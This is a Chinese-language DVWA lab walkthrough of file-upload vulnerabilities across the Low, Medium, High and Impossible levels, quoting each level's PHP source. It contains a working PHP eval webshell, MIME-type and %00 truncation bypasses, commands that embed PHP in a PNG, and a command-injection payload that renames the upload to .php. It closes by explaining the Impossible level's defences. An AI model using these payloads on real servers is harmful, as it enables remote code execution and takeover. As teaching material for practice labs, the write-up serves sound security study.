前言 文件上传漏洞通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,文件上传漏洞带来的危害常常是毁灭性的。
文件上传漏洞的利用的条件
能够成功上传木马文件
上传文件必须能够被执行
上传文件的路径必须可知
LOW 分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php if ( isset ( $_POST [ 'Upload' ] ) ) { $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/" ; $target_path .= basename ( $_FILES [ 'uploaded' ][ 'name' ] ); if ( !move_uploaded_file ( $_FILES [ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { echo '<pre>Your image was not uploaded.</pre>' ; } else { echo "<pre>{$target_path} succesfully uploaded!</pre>" ; } } ?>
分析:
函数介绍:basename()
函数返回路径中的文件名部分。
1 string basename ( string $path [, string $suffix ] )
参数介绍:
参数
说明
$path
必需,规定要检查的路径,在Windows中,斜线(/)和反斜线(\)都可以用作目录分隔符。在其它环境下是斜线(/)
$suffix
可选,规定文件扩展名,如果文件有suffix,则不会输出这个扩展名
攻击测试 构造webshell如下:
1 <?php @eval ($_POST ['shell' ]);?>
使用蚁剑连接后,getshell完成;
MEDIUM 分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php if ( isset ( $_POST [ 'Upload' ] ) ) { $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/" ; $target_path .= basename ( $_FILES [ 'uploaded' ][ 'name' ] ); $uploaded_name = $_FILES [ 'uploaded' ][ 'name' ]; $uploaded_type = $_FILES [ 'uploaded' ][ 'type' ]; $uploaded_size = $_FILES [ 'uploaded' ][ 'size' ]; if ( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && ( $uploaded_size < 100000 ) ) { if ( !move_uploaded_file ( $_FILES [ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { echo '<pre>Your image was not uploaded.</pre>' ; } else { echo "<pre>{$target_path} succesfully uploaded!</pre>" ; } } else { echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>' ; } } ?>
分析:
Medium的代码对上传文件的类型、大小做了限制,要求文件类型必须是jpeg或者png,大小不能超过 100000B(约为 97.6KB);
BurpSuite抓包,更改content-type即可;
攻击测试
上传LOW的php文件,显示上传失败;
BurpSuite抓包,将Content-Type改为image/png,重新发包,文件上传成功,可以使用蚁剑连接;
也可以通过**%00
截断上传绕过**,
在php版本小于 5.3.4 的服务器中,当magic_quote_gpc=off
时,可以在文件名中使用%00
截断,可以把上传文件命名为shell.php%00.png
HIGH 分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php if ( isset ( $_POST [ 'Upload' ] ) ) { $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/" ; $target_path .= basename ( $_FILES [ 'uploaded' ][ 'name' ] ); $uploaded_name = $_FILES [ 'uploaded' ][ 'name' ]; $uploaded_ext = substr ( $uploaded_name , strrpos ( $uploaded_name , '.' ) + 1 ); $uploaded_size = $_FILES [ 'uploaded' ][ 'size' ]; $uploaded_tmp = $_FILES [ 'uploaded' ][ 'tmp_name' ]; if ( ( strtolower ( $uploaded_ext ) == "jpg" || strtolower ( $uploaded_ext ) == "jpeg" || strtolower ( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) && getimagesize ( $uploaded_tmp ) ) { if ( !move_uploaded_file ( $uploaded_tmp , $target_path ) ) { echo '<pre>Your image was not uploaded.</pre>' ; } else { echo "<pre>{$target_path} succesfully uploaded!</pre>" ; } } else { echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>' ; } } ?>
分析:
限制:
读取文件名中最后一个.
后的字符串,通过文件名来限制文件类型因此要求上传文件名形式必须是*.jpg、*.jpeg 、*.png三者之一;
getimagesize()函数限制了上传文件的文件头必须为图像类型;
攻击方法 绕过getimagesize()函数,可以使用如下命令,将php嵌入到图片里面,上传图片
1 2 3 4 cat shell.php >> shell.pngcopy shell.png/b + shell.php/a new.png
由于是png文件,此时用蚁剑还无法连接,需要借助HIGH级别的文件包含漏洞;
1 127.0.0.1|mv ../../hackable/uploads/shell.png ../../hackable/uploads/shell.php
再进行蚁剑连接即可;
IMPOSSIBLE 分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <?php if( isset( $_POST[ 'Upload' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/'; //$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-'; $target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; $temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) ); $temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; // Is it an image? if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) && ( $uploaded_size < 100000 ) && ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) && getimagesize( $uploaded_tmp ) ) { // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD) if( $uploaded_type == 'image/jpeg' ) { $img = imagecreatefromjpeg( $uploaded_tmp ); imagejpeg( $img, $temp_file, 100); } else { $img = imagecreatefrompng( $uploaded_tmp ); imagepng( $img, $temp_file, 9); } imagedestroy( $img ); // Can we move the file to the web root from the temp folder? if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) { // Yes! echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>"; } else { // No echo '<pre>Your image was not uploaded.</pre>'; } // Delete any temp files if( file_exists( $temp_file ) ) unlink( $temp_file ); } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } // Generate Anti-CSRF token generateSessionToken(); ?>
分析:
使用 imagecreatefromjpeg
或 imagecreatefrompng
去掉了不属于图片的部分;
将文件重命名为随机字符串;
增加Anti-Token防止CSRF攻击;